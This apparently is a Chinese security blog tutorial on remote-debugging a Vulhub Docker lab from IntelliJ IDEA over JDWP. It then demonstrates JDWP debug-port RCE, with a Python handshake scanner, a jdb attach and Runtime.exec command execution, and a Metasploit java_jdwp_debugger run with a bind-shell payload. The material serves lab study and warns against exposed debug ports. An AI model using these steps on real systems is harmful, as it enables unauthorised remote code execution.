文章目錄
- 前言
- Docker遠程調試
- Java調試原理
- 遠程調試實踐
- JDWP端口RCE
- 調試端口探測
- 調試端口利用
- 總結
前言
在對一些 Java CVE 漏洞的調試分析過程中,少不了需要搭建漏洞環境的場景,但是本地 IDEA 搭建的話既麻煩(通過 pom.xml 導入各種漏洞組件和依賴包)又不安全(容易把自己機器變成靶機了),這個時候如果能直接在虛擬機運行 Vulhub 提供的 Docker 靶場并使用物理機 IDEA 對其進行遠程調試,那么這項工作就顯得安全便捷了。
本文來學習下如何通過 IDEA 遠程調試遠程 Docker 服務的靶場環境,同時學習此類調試環境衍生的服務器安全風險——JDWP調試接口對外開放導致RCE漏洞。
Docker遠程調試
Java調試原理
學習如何遠程調試 Docker 容器服務之前,先來了解下 Java 調試的基本原理。本章節主要參考:使用 IDEA 快速遠程調試 Docker 中運行的 Java 應用程序 (強烈推薦)。
隨便起個本地 Java 項目,進行 IDEA 本地調試,可以看到如下日志:
Debug 大致過程如下:
以上過程被稱為 JPDA 調用體系。JPDA(Java Platform Debugger Architecture)是 sun 公司開發的 java平臺調試體系, 它主要有三個層次組成:
JPDA 組成部分 | 核心作用 |
---|---|
Java 虛擬機工具接口 (JVMTI) | 它是虛擬機的本地接口,其相當于 Thread 的 sleep、yield native 方法 |
Java 調試網絡協議 JDWP(Java Debug Wire Protocol) | 描述了調試信息的格式,以及在被調試的進程(server)和調試器(client)之間傳輸的請求 |
Java 調試接口(JDI) | 虛擬機的高級接口,調試器(client)自己實現 JDI 接口,比如 idea 等其他編譯器 |
綜上我們知道了 IDEA 調試的原理大致如下:
- 先建立起了 socket 連接;
- 將斷點位置創建了斷點事件通過 JDI 接口傳給了 服務端(程序端)的 JVM,JVM 調用 suspend 將 JVM 掛起;
- JVM 掛起之后將客戶端需要獲取的 JVM 信息返回給客戶端,返回之后 JVM resume 恢復其運行狀態;
- 客戶端獲取到 JVM 返回的信息之后可以通過不同的方式展示給客戶端;
總的來說,本地調試其實也可以認為是遠程調試,IDEA 通過本地隨機端口與 JVM 進行 socket 通信。
遠程調試指的是使用本地客戶端來調試運行在遠程服務器上的程序。IntelliJ IDEA 遠程調試的原理是,當服務器端以調試模式運行 Java 程序時,如果客戶端使用文本相同的字節碼和事先約定好的端口號,就可以遠程調試該 Java 程序。因此,IntelliJ IDEA 遠程調試的必要條件是:
- Java 程序必須在服務端已經啟動且在調試時正在運行;
- Java 程序在服務端以調試模式啟動,以調試模式啟動需要在運行該 Java 程序時,使用一些調試模式的 JVM 參數;
- 客戶端使用 IntelliJ IDEA 進行調試時,使用與服務端事先約定好的相同端口號,且該端口號在服務端沒有被占用;
- 客戶端使用 IntelliJ IDEA 進行調試時,使用的代碼在文本上與服務端一致。
“在文本上一致” 指的是:客戶端使用的代碼與服務端使用的代碼的文字完全相同,如果不一致,使用的斷點將不起作用。文本上一致不包括注釋,但包括換行。文本上一致不需要是同一個代碼源文件,只需要文本相同即可。
So 問題來了:此處由于我們希望在遠程調試過程中直接引用的別人的 Docker 鏡像,但咱們手上又沒有構建 docker 鏡像時的源代碼,咱們最多只能提取 docker 容器中的 jar 包,這個能不能替代服務端源代碼?答案是可以的。
回想我們平時 IDEA 引入第三方 jar 包,只要 Add as Library
操作,jar 包就被打開了,可以看到 “源代碼”,并且 jar 包內的 ClassName 就可以被我們實例化調用,還可以在 jar 包的 .class
文件里打斷點進行調試。所以在遠程調試 Docker 鏡像服務的時候,我們也可以提取 docker 容器中的 jar 包,然后到 IDEA 項目中將其 Add as Library
引入即可解決代碼文本與服務端保持一致的問題。
遠程調試實踐
此處以 Java代碼審計之SpEL表達式注入漏洞分析 一文中提到的 CVE-2022-22963 靶場環境為例,在 Ubuntu 虛擬機中借助 Vulhub 靶場集成環境快速搭建 Docker 漏洞環境服務。
【注意】請先確認物理機項目的 Java 版本與遠程 Docker 服務的 Java 版本一致(大版本即可,比如 Java 1.8,至于
1.8.0_202
這類的小版本則關系不大),避免斷點調試失敗。
1、在 docker-compose.yml
配置映射端口讓 jvm debug
端口能外部訪問:
2、在 docker-compose.yml
中使用 command 字段添加自定義啟動命令:
java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=xxxx -jar jar包名稱.jar
//最終示例配置如下
command: java -jar -Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=9001 /spring-cloud-function-sample-0.0.1-SNAPSHOT.jar
是不是突然發現自己不知道 jar 包名字叫啥?可以先啟動容器,然后執行 docker ps --no-trunc
輸出完整的容器描述,就可以看到容器名稱以及容器中的路徑:
故最后添加配置如下:
3、執行命令:docker cp 容器id:jar包路徑 目標路徑
,從 Docker 容器中獲取等待調試的漏洞環境 Jar 包到 Ubuntu 虛擬機桌面:
4、Ubuntu 虛擬機搭建 python 簡易 Service,通過局域網服務將文件 jar 傳遞到物理機中:
5、然后,劃重點!!修改了 docker-compose.yml
之后,一定要執行 docker rm -f 容器ID
刪除容器,并重新執行docker-compose up -d
生成新的容器,才會使配置生效(本人親身踩坑的教訓……):
6、接著在物理機 IDEA 隨意新建一個 Java 項目中將 spring-cloud-function-sample-0.0.1-SNAPSHOT.jar
添加到文件夾中,然后右鍵 jar 包,選擇 Add as Lirary
將其添加到項目依賴庫中:
【強烈推薦】實際上最簡潔方便的方案是:直接新建一個空文件夾存放此 Jar 文件后,解壓縮 jar 包,然后通過 IDEA 直接打開該文件夾就可以。
7、先在 uppercase()
函數打上斷點:
8、然后在 IDEA 配置 Remote Debug:
9、然后 Debug 運行,發現可以成功連接上遠程 9001 調試端口,如下日志信息即代表成功連接:
但是訪問 http://192.168.51.177:8080/uppercase
,卻發現并無法成功攔截、調試遠程程序:
10、參考 使用 IDEA 快速遠程調試 Docker 中運行的 Java 應用程序 來看,需要通過 Project Structure-->Modules-->Dependencies
手動添加要調試的 class 文件的目錄 BOOT-INF
到依賴之中:
11、重新 Restart Debug,并發送報文,發現就能成功在斷點處攔截遠程 Docker 服務執行了:
POST /uppercase HTTP/1.1
Host: 192.168.51.177:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 3aaa
12、但是還是有問題,針對該漏洞,我們需要核心下斷點的類位于 lib 文件夾下的 spring-cloud-function-web-3.3.3.jar
中,而此時的斷點調試仍然無法進入第三方依賴包中,故我們嘗試把 lib
文件夾復制到根目錄(如果你使用我在 步驟6 中推薦的方式創建文件夾打開項目,則不需要這么麻煩地復制到根目錄),并右鍵 Add as Library
:
不幸的是,至此發現仍然無法正常在 Spring-cloud-function-web-3.2.2.jar
依賴包 Controller 層 FunctionController.class
的 post 函數處下斷點攔截、調試,原因不詳(此處折騰了我一上午時間,如有大佬知情的話,辛苦留言指點下,謝謝)……
但是經 m0rta1 大佬指點,此時也并非 lib 目錄下的所有依賴包都無法添加斷點,此處可以采用“曲線救國”法,在 post 函數里的 processRequest 函數添加斷點,則可以成功攔截程序:
最后簡單總結下上述遠程調試 Docker 服務的步驟:
- 在
docker-compose.yml
配置映射端口讓 jvm debug 端口能外部訪問; - 在
docker-compose.yml
中使用 command 字段添加自定義啟動命令:java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=xxxx -jar jar包名稱.jar
; - 容器啟動后,從容器中把運行的 jar 包復制出來,新建一個文件夾將 jar 包解壓縮到里面,IDEA 點擊 Open 打開這個文件夾, 選擇
Add as Lirary
將 lib 依賴庫統一添加到項目依賴庫中,并按需在代碼上打上斷點; - IDEA 配置 Remote Debug,點擊 Debug 運行即可。
【致謝】此處萬分感謝 m0rta1 大佬耐心地幫我解決上述調試過程中出現的疑惑,大佬博文質量很高,強烈推薦收藏關注!
JDWP端口RCE
前面說到了,JDWP 是 JVM 虛擬機支持的一種網絡通訊協議,通過該協議,Debugger 端和被調試 JVM 之間可以進行通信,調試端可以獲取被調試 JVM 的包括類、對象、線程等信息。
既然 JDWP 是為 Java 調試而設計的通訊交互協議,在滲透測試的過程中,如果遇到目標服務器不小心開啟了對外暴露的 JDWP 服務,那么就可以利用 JDWP 實現連接遠程服務器,實現遠程代碼執行。
調試端口探測
此處以跟上文運行 Docker 調試服務的 Ubuntu 虛擬機處于同一局域網的 KaliLinux 作為攻擊機,來完成 JDWP 危險端口的探測和漏洞利用。
此處 Ubuntu 虛擬機繼續開放了 8080 服務端口和 9001 調試端口:
JDWP 服務探測的原理都是一樣的,即向目標端口連接后發送 JDWP-Handshake,如果目標服務直接返回一樣的內容則說明是 JDWP 服務。
使用Nmap掃描
Nmap 掃描會識別到 JDWP 服務,且添加 -sV
參數則可以識別對應的 JDK 版本信息,如下所示:
使用 Telnet 命令探測
使用 Telnet 命令探測,需要馬上輸入 JDWP-Handshake,然后服務端返回一樣的內容,證明是 JDWP 服務(有點費手,不推薦):
──(kali?kali)-[~/Desktop]
└─$ telnet 192.168.51.177 9001
Trying 192.168.51.177...
Connected to 192.168.51.177.
Escape character is '^]'.
JDWP-Handshake
JDWP-Handshake
……
Python腳本探測
使用如下腳本掃描也可以,直接連接目標服務器,并向目標發送 JDWP-Handshake,如果能接收到相同內容則說明目標是開啟了 JDWP 服務:
import sockethost = "192.168.51.177"
port = 9001
try:client = socket.socket()client.connect((host, port))client.send(b"JDWP-Handshake")if client.recv(1024) == b"JDWP-Handshake":print("[*] {}:{} Listening JDWP Service! ".format(host, port))
except Exception as e:print("[-] Connection failed! ")
finally:client.close()
調試端口利用
介紹來介紹兩種方法,快速將探測到的 JDWP 服務端口轉換成一個遠程 RCE。
利用JDB工具
jdb 是 JDK 中自帶的命令行調試工具,執行如下命令連接遠程 JDWP 服務:
jdb -connect com.sun.jdi.SocketAttach:hostname=192.168.51.177,port=9001
接下來執行threads
命令查看所有線程:
接著需要借助 thread <線程id>
命令選中一個 sleeping(正在休眠) 的線程,接下來執行stepi
命令進入該線程(可通過執行help
指令得知,stepi
命令用于執行當前指令,啟動休眠的線程)。但是我這里顯然沒有正在休眠的線程,導致沒法繼續正常往下演示,只能選取別人的截圖了……
接下來可以通過 print|dump|eval
命令,執行 Java 表達式從而達成命令執行:
eval java.lang.Runtime.getRuntime().exec("whoami")
可以看到命令是執行成功,返回了一個 Process 對象。當然還可以進一步進行反彈 shell 的操作(Payload 注意先經過編碼轉換)。
更多 JDB 的用法請參見:Java調試工具 jdb:深入解析應用程序調試工具jdb 。
利用MSF的漏洞利用模塊
為了方便,可以直接使用 Metasploit 自帶的漏洞利用模塊 exploit/multi/misc/java_jdwp_debugger
進行漏洞利用:
msfconsole
msf6 > use exploit/multi/misc/java_jdwp_debugger
msf6 exploit(multi/misc/java_jdwp_debugger) > set rhosts 192.168.51.177
msf6 exploit(multi/misc/java_jdwp_debugger) > set rport 9001
msf6 exploit(multi/misc/java_jdwp_debugger) > set payload linux/x64/shell/bind_tcp
msf6 exploit(multi/misc/java_jdwp_debugger) > run
遺憾的是,我執行 MSF 攻擊 Docker 靶機也出現了反彈 shell 創建 session 異常,提示跟上面 JDB 調試利用的異常一樣:“MSF 找不到適合單步執行的線程”。
應該是自身靶場環境的問題,肝了一天了,此處暫時不花時間糾結了(后續再來溯源這個問題),先看下大佬的演示圖吧:
Github利用腳本
最后,Github 也有現成的 JDWP 端口遠程漏洞利用腳本:jdwp-codeifier,這里不展開,有需要自行獲取測試,使用方法已有 README 文檔。
總結
本文學習了如何在物理機 IDEA 中遠程調試 Ununtu 虛擬機 Vubhub 靶場集成環境搭建起來的 Docker 服務,為后續漏洞分析調試提供了一種新的手段。
同時學習 Java 調試的基本步驟原理,分析了 JDWP 調試端口如果在使用完不及時關閉且暴露在外網的話可能存在的 RCE 風險。故無論是開發人員還是安全測試、運維人員,在對 Java 服務端進行遠程調試后,務必終斷 JDWP 調試端口。
本文參考文章:
- JDWP調試接口RCE漏洞介紹;
- 使用 IDEA 快速遠程調試 Docker 中運行的 Java 應用程序 (附解決思考過程);